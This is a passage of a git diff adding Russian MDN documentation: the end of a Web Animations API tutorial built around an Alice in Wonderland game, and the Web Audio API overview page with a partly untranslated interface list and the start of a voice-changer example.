+<pre class="brush: js notranslate">nommingCake.pause();</pre>
+
+<p>Теперь мы можем запустить метод {{domxref("Animation.play()")}} когда будем готовы:</p>
+
+<pre class="brush: js notranslate">nommingCake.play();</pre>
+
+<p>Нам необходимо связать его с анимацией Алисы, чтобы она росла всякий раз, когда съедала кекс. Мы можем сделать это с помощью функции:</p>
+
+<pre class="brush: js notranslate">var growAlice = function() {
+
+  // Play Alice's animation.
+  aliceChange.play();
+
+  // Play the cake's animation.
+  nommingCake.play();
+
+}</pre>
+
+<p>Когда пользователь поместит указатель мыши вниз или нажимает пальцем на торт на сенсорном экране, мы можем вызвать growAlice, чтобы выполнить все анимации:</p>
+
+<pre class="brush: js notranslate">cake.addEventListener("mousedown", growAlice, false);
+cake.addEventListener("touchstart", growAlice, false);</pre>
+
+<h3 id="Другие_полезные_методы.">Другие полезные методы.</h3>
+
+<p>Помимо паузы и воспроизведения, мы можем использовать следующие методы анимации:</p>
+
+<ul>
+ <li>{{domxref("Animation.finish()")}} перейти в конец анимации.</li>
+ <li>{{domxref("Animation.cancel()")}} прервать анимацию и удалить ее эффект.</li>
+ <li>{{domxref("Animation.reverse()")}} устанавливать скорость анимации если установить ({{domxref("Animation.playbackRate")}} отрицательное значение, то анимация пойдет в обратном порядке.</li>
+</ul>
+
+<p>Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьет из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет ее анимацию playbackRate от 1 до -1:</p>
+
+<pre class="brush: js notranslate">var shrinkAlice = function() {
+  aliceChange.playbackRate = -1;
+  aliceChange.play();
+}
+
+bottle.addEventListener("mousedown", shrinkAlice, false);
+bottle.addEventListener("touchstart", shrinkAlice, false);</pre>
+
+<p>В <a href="https://en.wikipedia.org/wiki/Through_the_Looking-Glass">Through the Looking-Glass</a>, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперед. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на <a href="http://codepen.io/rachelnabors/pen/PNGGaV">full code on Codepen</a>):</p>
+
+<p><a href="http://codepen.io/rachelnabors/pen/PNGGaV"><img alt="Alice and the Red Queen race to get to the next square in this game." src="https://mdn.mozillademos.org/files/13847/red-queen-race_optimized.gif" style="display: block; height: 342px; margin-left: auto; margin-right: auto; width: 640px;"></a></p>
+
+<p>Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путем ослабления (уменьшения скорости) playbackRate анимации.</p>
+
+<pre class="brush: js notranslate">setInterval( function() {
+
+  // Make sure the playback rate never falls below .4
+  if (redQueen_alice.playbackRate &gt; .4) {
+    redQueen_alice.playbackRate *= .9;
+  }
+
+}, 3000);</pre>
+
+<p>Но постоянно нажимая на них мышью, мы заставляем их ускориться путем умножения playbackRate (скорости анимации)</p>
+
+<pre class="brush: js notranslate">var goFaster = function() {
+
+  redQueen_alice.playbackRate *= 1.1;
+
+}
+
+document.addEventListener("click", goFaster);
+document.addEventListener("touchstart", goFaster);</pre>
+
+<p>Фон также ускоряется при щелчках мыши или касаниях. Что же происходит, когда вы заставляете Алису и Красную королеву бежать в два раза быстрее? Что происходит, когда они тормозят?</p>
+
+<h2 id="Получение_информации_из_анимации">Получение информации из анимации</h2>
+
+<p>Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчета длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:</p>
+
+<pre class="brush: js notranslate">document.getAnimations().forEach(
+  function (animation) {
+    animation.playbackRate *= .5;
+  }
+);</pre>
+
+<p>С Web Animations API нужно изменить только одно свойство.</p>
+
+<p>Другое дело, что это трудно делать только с CSS Animations, создавать зависимости от значения предусмотренные для других анимации. В примере игры про рост и уменьшение Алисы, вы можете заметить некоторые странности у кекса:</p>
+
+<pre class="brush: js notranslate">duration: aliceChange.effect.timing.duration / 2</pre>
+
+<p>Чтобы понять, что здесь происходит, давайте посмотрим на анимацию Алисы:</p>
+
+<pre class="brush: js notranslate">var aliceChange = document.getElementById('alice').animate(
+  [
+    { transform: 'translate(-50%, -50%) scale(.5)' },
+    { transform: 'translate(-50%, -50%) scale(2)' }
+  ], {
+    duration: 8000,
+    easing: 'ease-in-out',
+    fill: 'both'
+  });</pre>
+
+<p>Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем ее:</p>
+
+<pre class="brush: js notranslate">aliceChange.pause();</pre>
+
+<p>Если бы оставили ее на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить ее анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:</p>
+
+<pre class="brush: js notranslate">aliceChange.currentTime = 4000;</pre>
+
+<p>Но во время работы над этой анимацией мы можем сильно увеличить ее продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придется делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:</p>
+
+<pre class="brush: js notranslate">aliceChange.currentTime = aliceChange.effect.timing.duration / 2;</pre>
+
+<p>эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (котрые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержиться ее {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить ее длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.</p>
+
+<p>Теперь мы можем запустить ее в обратном порядке и играться анимацией в любом направлении, чтобы заставить ее расти или уменьшаться</p>
+
+<pre class="brush: js notranslate">var drinking = document.getElementById('liquid').animate(
+[
+  { height: '100%' },
+  { height: '0' }
+], {
+  fill: 'forwards',
+  duration: aliceChange.effect.timing.duration / 2
+});
+drinking.pause();</pre>
+
+<p>И мы можем сделать тоже самое при установки длительности анимации на кексе или бутылке.</p>
+
+<p>Теперь все три анимации связаны только с одной продолжительности, и мы можем легко переходить из одного места.</p>
+
+<p>Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденого торта или выпитой бутылки. Изображение у игрока будет зависить от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в нее пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце ее анимация, получая текущее время ее анимации <code><a href="/en-US/docs/Web/API/Animation/currentTime">currentTime</a></code> и разделив ее на activeDuration:</p>
+
+<pre class="brush: js notranslate">var endGame = function() {
+
+  // get Alice's timeline's playhead location
+  var alicePlayhead = aliceChange.currentTime;
+  var aliceTimeline = aliceChange.effect.activeDuration;
+
+  // stops Alice's and other animations
+  stopPlayingAlice();
+
+  // depending on which third it falls into
+  var aliceHeight = alicePlayhead/aliceTimeline;
+
+  if (aliceHeight &lt;= .333){
+    // Alice got smaller!
+    ...
+
+  } else if (aliceHeight &gt;= .666) {
+    // Alice got bigger!
+    ...
+
+  } else {
+    // Alice didn't change significantly
+    ...
+
+  }
+}
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> <code>getAnimations()</code> и эффект не полностью поддерживаются на момент написания этой статьи, но polyfill  поддерживает их уже сегодня.</p>
+</div>
+
+<h2 id="Обратные_вызовы_и_обещания">Обратные вызовы и обещания</h2>
+
+<p>CSS Animations и Transitions (переходы) имеют свои события и они также могут быть воспроизведены и в Web Animations API:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/Animation/onfinish">onfinish</a></code> это обработчик событий для завершения события и он может быть запущена вручную в функйи/команды <code><a href="/en-US/docs/Web/API/Animation/finish">finish()</a></code>.</li>
+ <li><code><a href="/en-US/docs/Web/API/Animation/oncancel">oncancel</a></code> это обработчик для отмены события и может быть запуен с помощью функции/команды <code><a href="/en-US/docs/Web/API/Animation/cancel">cancel()</a></code>.</li>
+</ul>
+
+<p>Здесь мы устанавливаем обратный вызов для бутылки, кекса и Алисы, чтобы запустить функцию endGame.</p>
+
+<pre class="brush: js notranslate">// When the cake or runs out...
+nommingCake.onfinish = endGame;
+drinking.onfinish = endGame;
+
+// ...or Alice reaches the end of her animation
+aliceChange.onfinish = endGame;
+
+</pre>
+
+<p>Нравится перспектива? Web Animations API также дает две перспективы: <code><a href="/en-US/docs/Web/API/Animation/onfinish">onfinish</a></code> и <code><a href="/en-US/docs/Web/API/Animation/oncancel">oncancel</a></code>.</p>
+
+<div class="note">
+<p>Эти обещания не полностью поддерживаются в настоящий момент.</p>
+</div>
+
+<h2 id="Заключение">Заключение</h2>
+
+<p>Таковы основные особенности веб-анимации API, большинство из которых уже поддерживается в последних версиях Firefox и Chrome. К этому моменту вы должны быть готовы к "прыжку в кроличью нору" анимации в браузере и готовы написать свои собственные эксперименты в анимации! Если вы используете API и хотите поделиться, попробуйте использовать хэштег #WAAPI. Мы будем следить и писать другие учебники, чтобы охватить будущие дополнительные функции, в виде поддержки распространяя!</p>
+
+<h2 id="Посмотрите_также">Посмотрите также</h2>
+
+<ul>
+ <li class="post__title"><a href="http://codepen.io/collection/bpEza/">Полный набор Алиса в Стране Чудес демки</a> на сайт codepen для вас, чтобы играть, развиваться и делиться</li>
+ <li class="post__title"><a href="https://hacks.mozilla.org/2016/08/animating-like-you-just-dont-care-with-element-animate/">Animating like you just don’t care with Element.animate</a> — отличная статья, чтобы прочитать, где объясняется больше на фоне веб-анимации API, и поэтому он является более эффективным, чем другие методы веб-анимации</li>
+ <li class="post__title"><a href="https://github.com/web-animations/web-animations-js">web-animations-js</a> — the Web Animations API polyfill</li>
+</ul>
diff --git a/files/ru/web/api/web_audio_api/index.html b/files/ru/web/api/web_audio_api/index.html
new file mode 100644
index 0000000000..1cdd6d43b5
--- /dev/null
+++ b/files/ru/web/api/web_audio_api/index.html
@@ -0,0 +1,508 @@
+---
+title: Web Audio API
+slug: Web/API/Web_Audio_API
+tags:
+  - API
+  - Guide
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+  - Web Audio API
+translation_of: Web/API/Web_Audio_API
+---
+<div>
+<p>Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что дает возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.</p>
+</div>
+
+<h2 id="Общие_концепции_и_использование_Web_Audio">Общие концепции и использование Web Audio</h2>
+
+<p>Web audio API позволяет обрабатывать операции над аудио с помощью специального аудио контекста (audio context), и был спроектирован на использование модульной маршрутизации (modular routing). Базовые операции выполняются с помощью аудио узлов (audio nodes), которые объединяются вместе, формируя аудио-маршрутизаторную *таблицу (audio routing graph). Несколько источников - с разными видами поточных схем - поддерживаются даже изнутри простого контекста. Эта модульная концепция обеспечивает гибкость в создании сложных функций для динамических эффектов.</p>
+
+<p>Аудио узлы объединяются в цепи и простые сети их вводами и выводами. Они, как правило, запускаются с одним или более источниками. Источники представляют собой массивы сэмплов на единицу времени. Например, при частоте дискретизации 44100 Гц, в каждой секунде каждого канала расположено 22050 сэмплов. Они могут быть либо  обработаны математически (смотрите : OscillatorNode), либо считаны с звуко/видео файлов (смотрите : AudioBufferSourceNode и  MediaElementAudioSourceNode) или с аудио потоков (смотрите : MediaStreamAudioSourceNode). По факту, звуковые файлы - просто запись звуковых колебаний, которые поступают от микрофона и музыкальных инструментов, смешиваясь в одну сложную волну. Выводные данные этих узлов могут быть связаны с вводными других, что смешивают или модифицируют потоки звуковых образцов в инные потоки. Популярная модификация - умножение образца на значение, чтобы сделать выходной звук менее или более громким (смотрите : GainMode). Когда звук был успешно обработан предназначеным ему эффектом, он может быть привязан к выходному потоку (смотрите : AudioContext.destination), что направляет звук в динамики или микрофон. Данный шаг нужен лишь если вы предпочтёте дать возможность пользователю услышать ваши шедевры.</p>
+
+<p>Простой, типичный порядок действий выполнения манипуляций над аудио выглядит так :</p>
+
+<ol>
+ <li>Создадим аудио контекст</li>
+ <li>Внутри нашего контекста определим источники - такие как &lt;audio&gt;, генератор (oscillator), поток</li>
+ <li>Определим узлы эффектов, такие как реверберация (reverb), биквадратный фильтр (biquad filter), панораммирование (panner), сжатие (compressor)</li>
+ <li>Выберем конечную точку аудио сигнала, например ваши системные звуковые устройства</li>
+ <li>Привяжем наши источники к эффектам, и эффекты к конечному сигналу.</li>
+</ol>
+
+<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/7893/web-audio-api-flowchart.png" style="display: block; height: 113px; margin: 0px auto; width: 635px;"></p>
+
+<p>Распределение времени контролируется с высокой точностью и низкими задержками, позволяя разработчикам писать код, что точно реагирует на события и в состоянии обработать образец даже на высокой оценке образцов (sample rate). Так что такие приложения как ритм-компьютер и програмный автомат всегда под рукой.</p>
+
+<p>Web audio API также даёт нам возможность контролировать то, каким аудио является в пространстве. Используя особую систему, что базируется<br>
+ на модели source-listener, он позволяет контролировать модель панораммирования и обходиться без дистанционно-вызваного ослабления (distance-induced attenuation) или duppler shift, вызванного сдвигом источника (или сдвигом слушателя).</p>
+
+<div class="note">
+<p>Помните: Вы можете прочитать более детальный теоритический материал о Web audio API в нашей статье<a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API"> Basic concepts behind Web Audio API</a>.</p>
+</div>
+
+<h2 id="Web_Audio_API_интерфейсы">Web Audio API интерфейсы</h2>
+
+<p>В Web audio API есть всего 28 интерфейсов и соответствующих событий, которые мы cгруппировали в 9 категорий по функциональности.</p>
+
+<h3 id="Главные_объекты_определения_аудио">Главные объекты определения аудио</h3>
+
+<p>Главные контейнеры и определения, что формируют аудио объект в Web Audio API.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext")}}</dt>
+ <dd>AudioContext представляет собой некий аудио обрабатывающий объект, сооруженный из аудио модулей связаных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.</dd>
+ <dt>{{domxref("AudioNode")}}</dt>
+ <dd>Интерфейс AudioNode представляет собой некий обрабатывающий  модуль такой как источник аудио  (то есть HTML &lt;audio&gt; или &lt;video&gt; елемент), конечный аудио объект, модуль непосредственной обработки (например фильтр BiquadFilterNode или звуковой контроллер такой как GainNode).</dd>
+ <dt>{{domxref("AudioParam")}}</dt>
+ <dd><code>Интерфейс </code><strong><code>AudioParam </code></strong><code>представляет аудио-параметры связанные с </code>{{domxref("AudioNode")}}. Он может содержать как точное значение параметра, так и параметры изменяющиеся во времени.</dd>
+ <dt>{{event("ended_(Web_Audio)", "ended")}} (event)</dt>
+ <dd>Событие <strong>ended </strong>генерируется тогда, когда воспроизведение остановлено по причине окончания носителя.</dd>
+ <dt></dt>
+</dl>
+
+<h3 id="Источники_звука">Источники звука</h3>
+
+<p>Интерфейсы, которые определяют источники звука для использования в Web Audio API.</p>
+
+<dl>
+ <dt>{{domxref("OscillatorNode")}}</dt>
+ <dd><strong><code style="font-size: 14px;">OscillatorNode</code></strong><strong> </strong>представляет собой источник синусоидальной волны. Это модуль {{domxref("AudioNode")}} который принимает на вход <em>частоту </em>и генерирует синусоидальную волну с этой частотой.</dd>
+ <dt>{{domxref("AudioBuffer")}}</dt>
+ <dd>Интерфейс <strong><code>AudioBuffer</code></strong> представляет собой короткий аудио сэмпл находящийся в памяти, созданный из аудио файла с использованием метода {{ domxref("AudioContext.decodeAudioData()") }}, или созданный из необработанных(сырых) данных с использованием метода {{ domxref("AudioContext.createBuffer()") }}. После декодирования аудио данные могут быть помещены в {{ domxref("AudioBufferSourceNode") }}.</dd>
+ <dt>{{domxref("AudioBufferSourceNode")}}</dt>
+ <dd><code>Интерфейс </code><strong><code>AudioBufferSourceNode </code></strong><code>представляет собой источник звука, состоящий из аудио данных, хранящихся в </code>{{domxref("AudioBuffer")}}. Это {{domxref("AudioNode")}}, который действует в качестве источника звука.</dd>
+ <dt>{{domxref("MediaElementAudioSourceNode")}}</dt>
+ <dd>Интерфейс <code><strong>MediaElementAudio</strong></code><strong><code>SourceNode</code></strong> представляет источник звука, содержащегося в элементе HTML5 {{ htmlelement("audio") }} или {{ htmlelement("video") }} .  Это {{domxref("AudioNode")}}, который действует в качестве источника звука.</dd>
+ <dt>{{domxref("MediaStreamAudioSourceNode")}}</dt>
+ <dd>Интерфейс <code><strong>MediaStreamAudio</strong></code><strong><code>SourceNode</code></strong> представляет источник звука, содержащегося в потоке  <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} (например веб-камеры или микрофона). Это {{domxref("AudioNode")}}, который действует в качестве источника звука.</dd>
+</dl>
+
+<h3 id="Аудио_фильтры">Аудио фильтры</h3>
+
+<p>Интерфейсы для определения эффектов которые можно применить к источникам звука.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode")}}</dt>
+ <dd><strong><code>BiquadFilterNode </code></strong><code>представляет простой фильтр низкого порядка. Это </code>{{domxref("AudioNode")}} представляющий различные виды фильтров такие как эквалайзер или управление тональностью. <strong><code>BiquadFilterNode</code></strong><code> имеет ровно один вход и один выход.</code></dd>
+ <dt>{{domxref("ConvolverNode")}}</dt>
+ <dd><code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>это <span style="line-height: 1.5;">{{domxref("AudioNode")}} выполняющий линейную свертку </span><span style="line-height: 1.5;">AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.</span></dd>
+ <dt>{{domxref("DelayNode")}}</dt>
+ <dd><strong><code>DelayNode</code></strong><strong> </strong>представляет собой линию задержки (<a href="http://en.wikipedia.org/wiki/Digital_delay_line" title="http://en.wikipedia.org/wiki/Digital_delay_line">delay-line</a>); содержит {{domxref("AudioNode")}} вызывающий задержку между выходным и входным сигналом.</dd>
+ <dt>{{domxref("DynamicsCompressorNode")}}</dt>
+ <dd>The <strong><code>DynamicsCompressorNode</code></strong> interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.</dd>
+ <dt>{{domxref("GainNode")}}</dt>
+ <dd>The <strong><code>GainNode</code></strong><strong> </strong>interface represents a change in volume. It is an {{domxref("AudioNode")}} audio-processing module that causes a given <em>gain</em> to be applied to the input data before its propagation to the output.</dd>
+ <dt>{{domxref("StereoPannerNode")}}</dt>
+ <dd>The <code><strong>StereoPannerNode</strong></code> interface represents a simple stereo panner node  that can be used to pan an audio stream left or right.</dd>
+ <dt>{{domxref("WaveShaperNode")}}</dt>
+ <dd>The <strong><code>WaveShaperNode</code></strong><strong> </strong>interface represents a non-linear distorter. It is an {{domxref("AudioNode")}} that use a curve to apply a waveshaping distortion to the signal. Beside obvious distortion effects, it is often used to add a warm feeling to the signal.</dd>
+ <dt>{{domxref("PeriodicWave")}}</dt>
+ <dd>Used to define a periodic waveform that can be used to shape the output of an {{ domxref("OscillatorNode") }}.</dd>
+</dl>
+
+<h3 id="Defining_audio_destinations">Defining audio destinations</h3>
+
+<p>Once you are done processing your audio, these interfaces define where to output it.</p>
+
+<dl>
+ <dt>{{domxref("AudioDestinationNode")}}</dt>
+ <dd>The <strong><code>AudioDestinationNode</code></strong> interface represents the end destination of an audio source in a given context — usually the speakers of your device.</dd>
+ <dt>{{domxref("MediaStreamAudioDestinationNode")}}</dt>
+ <dd>The <code><strong>MediaStreamAudio</strong></code><strong><code>DestinationNode</code></strong> interface represents an audio destination consisting of a <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} with a single <code>AudioMediaStreamTrack</code>, which can be used in a similar way to a MediaStream obtained from {{ domxref("Navigator.getUserMedia") }}. It is an {{domxref("AudioNode")}} that acts as an audio destination.</dd>
+</dl>
+
+<h3 id="Анализ_и_визуализация_данных">Анализ и визуализация данных</h3>
+
+<p>If you want to extract time, frequency and other data from your audio, the <code>AnalyserNode</code> is what you need.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode")}}</dt>
+ <dd>The <strong><code>AnalyserNode</code></strong> interface represents a node able to provide real-time frequency and time-domain analysis information, for the purposes of data analysis and visualization.</dd>
+</dl>
+
+<h3 id="Splitting_and_merging_audio_channels">Splitting and merging audio channels</h3>
+
+<p>To split and merge audio channels, you'll use these interfaces.</p>
+
+<dl>
+ <dt>{{domxref("ChannelSplitterNode")}}</dt>
+ <dd>The <code><strong>ChannelSplitterNode</strong></code> interface separates the different channels of an audio source out into a set of <em>mono</em> outputs.</dd>
+ <dt>{{domxref("ChannelMergerNode")}}</dt>
+ <dd>The <code><strong>ChannelMergerNode</strong></code> interface reunites different mono inputs into a single output. Each input will be used to fill a channel of the output.</dd>
+</dl>
+
+<h3 id="Audio_spatialization">Audio spatialization</h3>
+
+<p>These interfaces allow you to add audio spatialization panning effects to your audio sources.</p>
+
+<dl>
+ <dt>{{domxref("AudioListener")}}</dt>
+ <dd>The <strong><code>AudioListener</code></strong><strong> </strong>interface represents the position and orientation of the unique person listening to the audio scene used in audio spatialization.</dd>
+ <dt>{{domxref("PannerNode")}}</dt>
+ <dd>The <strong><code>PannerNode</code></strong><strong> </strong>interface represents the behavior of a signal in space. It is an {{domxref("AudioNode")}} audio-processing module describing its position with right-hand Cartesian coordinates, its movement using a velocity vector and its directionality using a directionality cone.</dd>
+</dl>
+
+<h3 id="Audio_processing_via_JavaScript">Audio processing via JavaScript</h3>
+
+<p>If you want to use an external script to process your audio source, the below Node and events make it possible.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As of the August 29 2014 Web Audio API spec publication, these features have been marked as deprecated, and are soon to be replaced by {{ anch("Audio_Workers") }}.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ScriptProcessorNode")}}</dt>
+ <dd>The <strong><code>ScriptProcessorNode</code></strong><strong> </strong>interface allows the generation, processing, or analyzing of audio using JavaScript. It is an {{domxref("AudioNode")}} audio-processing module that is linked to two buffers, one containing the current input, one containing the output. An event, implementing the {{domxref("AudioProcessingEvent")}} interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.</dd>
+ <dt>{{event("audioprocess")}} (event)</dt>
+ <dd>The <code>audioprocess</code> event is fired when an input buffer of a Web Audio API {{domxref("ScriptProcessorNode")}} is ready to be processed.</dd>
+ <dt>{{domxref("AudioProcessingEvent")}}</dt>
+ <dd>The <a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a> <code>AudioProcessingEvent</code> represents events that occur when a {{domxref("ScriptProcessorNode")}} input buffer is ready to be processed.</dd>
+</dl>
+
+<h3 id="Offlinebackground_audio_processing">Offline/background audio processing</h3>
+
+<p>It is possible to process/render an audio graph very quickly in the background — rendering it to an {{domxref("AudioBuffer")}} rather than to the device's speakers — with the following.</p>
+
+<dl>
+ <dt>{{domxref("OfflineAudioContext")}}</dt>
+ <dd>The <strong><code>OfflineAudioContext</code></strong> interface is an {{domxref("AudioContext")}} interface representing an audio-processing graph built from linked together {{domxref("AudioNode")}}s. In contrast with a standard <code>AudioContext</code>, an <code>OfflineAudioContext</code> doesn't really render the audio but rather generates it, <em>as fast as it can</em>, in a buffer.</dd>
+ <dt>{{event("complete")}} (event)</dt>
+ <dd>The <code>complete</code> event is fired when the rendering of an {{domxref("OfflineAudioContext")}} is terminated.</dd>
+ <dt>{{domxref("OfflineAudioCompletionEvent")}}</dt>
+ <dd>The <code>OfflineAudioCompletionEvent</code> represents events that occur when the processing of an {{domxref("OfflineAudioContext")}} is terminated. The {{event("complete")}} event implements this interface.</dd>
+</dl>
+
+<h3 id="Audio_Workers" name="Audio_Workers">Audio Workers</h3>
+
+<p>Audio workers provide the ability for direct scripted audio processing to be done inside a <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">web worker</a> context, and are defined by a couple of interfaces (new as of 29th August 2014.) These are not implemented in any browsers yet. When implemented, they will replace {{domxref("ScriptProcessorNode")}}, and the other features discussed in the <a href="#Audio_processing_via_JavaScript">Audio processing via JavaScript</a> section above.</p>
+
+<dl>
+ <dt>{{domxref("AudioWorkerNode")}}</dt>
+ <dd>The AudioWorkerNode interface represents an {{domxref("AudioNode")}} that interacts with a worker thread to generate, process, or analyse audio directly.</dd>
+ <dt>{{domxref("AudioWorkerGlobalScope")}}</dt>
+ <dd>The <code>AudioWorkerGlobalScope</code> interface is a <code>DedicatedWorkerGlobalScope</code>-derived object representing a worker context in which an audio processing script is run; it is designed to enable the generation, processing, and analysis of audio data directly using JavaScript in a worker thread.</dd>
+ <dt>{{domxref("AudioProcessEvent")}}</dt>
+ <dd>This is an <code>Event</code> object that is dispatched to {{domxref("AudioWorkerGlobalScope")}} objects to perform processing.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Obsolete interfaces</h2>
+
+<p>The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.</p>
+
+<dl>
+ <dt>{{domxref("JavaScriptNode")}}</dt>
+ <dd>Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.</dd>
+ <dt>{{domxref("WaveTableNode")}}</dt>
+ <dd>Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> demo (also check out the <a href="https://github.com/mdn/voice-change-o-matic">full source code at Github</a>) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!</p>
+
+<p>The Web Audio API lines are highlighted; if you want to find more out about what the different methods, etc. do, have a search around the reference pages.</p>
+
+<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151] notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
+// Webkit/blink browsers need prefix, Safari won't work without window.
+
+var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
+var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
+var mute = document.querySelector('.mute'); // mute button
+var drawVisual; // requestAnimationFrame
+
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+
+function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i &lt; n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+navigator.getUserMedia (
+  // constraints - only audio needed for this app
+  {
+    audio: true
+  },
+
+  // Success callback
+  function(stream) {
+    source = audioCtx.createMediaStreamSource(stream);
+    source.connect(analyser);
+    analyser.connect(distortion);
+    distortion.connect(biquadFilter);
+    biquadFilter.connect(gainNode);
+    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
+
+    visualize(stream);
+    voiceChange();
+
+  },
+
+  // Error callback
+  function(err) {
+    console.log('The following gUM error occured: ' + err);
+  }
+);
+
+function visualize(stream) {
+  WIDTH = canvas.width;
+  HEIGHT = canvas.height;
+
+  var visualSetting = visualSelect.value;
+  console.log(visualSetting);
+
+  if(visualSetting == "sinewave") {
+    analyser.fftSize = 2048;
+    var bufferLength = analyser.frequencyBinCount; // half the FFT value
+    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+    function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(visualSetting == "off") {
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+  }
+
+}
+
+function voiceChange() {
+  distortion.curve = new Float32Array;
+  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
+
+  var voiceSetting = voiceSelect.value;
+  console.log(voiceSetting);
+
+  if(voiceSetting == "distortion") {
+    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
